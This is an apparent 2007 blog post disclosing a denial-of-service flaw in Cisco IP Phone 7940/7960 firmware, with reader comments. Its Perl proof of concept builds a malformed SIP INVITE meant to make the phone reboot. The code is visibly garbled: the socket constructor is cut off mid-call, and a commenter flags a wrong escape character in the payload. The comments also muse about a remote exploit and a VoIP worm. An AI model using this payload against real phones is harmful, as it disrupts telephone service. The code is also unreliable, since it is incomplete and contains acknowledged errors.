Wednesday, March 21, 2007

Cisco IP Phone 7940/7960 vulnerable to DoS

Ok, this is bad. Cisco IP Phone 7940/7960 is vulnerable to DoS. After sending a malfored crafted SIP INVITE message, you can cause the IP Phone to reboot. This is due to the phone lacking the function to check the validity of the sipURI field of the remote party. This will affect Cisco IP phone 7940/7960 running firmware P0S3-07-4-00.

Unaffected firmware: POS8-6-0

Ok, so i am not vulnerable. :)

Proof of Concept:


use IO::Socket::INET;

die "Usage $0 " unless ($ARGV[2]);

$socket=new IO::Socket::INET->new(PeerPort=>$ARGV[1],



$msg="INVITE sip:$ARGV[2]\@$ARGV[0] SIP/2.0\r\nVia: SIP/2.0/UDP;branch=z9hG4jk\r\nFrom: sip:chirimolla
\@;tag=qwzng\r\nTo: \r
\nCall-ID: fosforito\@\r\nCSeq: 921 INVITE\r
\nRemote-Party-ID: csip:7940-1\@192.168.\xd1.7\r\n\r\n";




m1ke said...

Seems that you have an error in your code. "192.168.\xd1.7" will print character 0x1d, and I don't think you want a SYN (sinc idle) in there.

Also, I don't know if there's a way to build a scanner to find out, remotely, which firmware is running.

A bit more research might actually reveal this being remotely exploitable.

Those two combined, and I smell a potential Voip worm (vorm?) coming up.. :D


Anonymous said...

thanks mike.


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